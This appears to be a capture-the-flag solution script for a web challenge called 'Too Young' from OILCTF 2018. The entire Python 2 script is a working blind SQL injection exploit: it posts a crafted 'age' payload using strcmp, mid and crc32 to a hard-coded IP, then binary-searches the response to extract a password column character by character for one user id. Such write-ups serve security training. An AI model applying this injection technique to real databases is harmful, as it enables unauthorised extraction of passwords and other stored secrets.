OILCTF 2018 / Too Young (Web350)

oilctf-2018-too-young.py

import requests

md = ''
for i in range(1, 33):
    l, r = 0, 128
    while l + 1 < r:
        m = (l + r) / 2
        data = { 'age': 'repeat(crc32(strcmp(mid(pwd,%d,1),%s)),if(strcmp(id,0x35),0,1))#' % (i, hex(m)) }
        cookies = { 'PHPSESSID': '8frmhugntqqfj0cv72rsd6qt95' }

        res = requests.post("http://35.189.151.223/tooyoung/index.php", cookies=cookies, data=data)
        if res.text.find('4108050209') > -1:
            break
        elif res.text.find('2212294583') > -1:
            l = m
        else:
            r = m
    md += chr(m)
    print md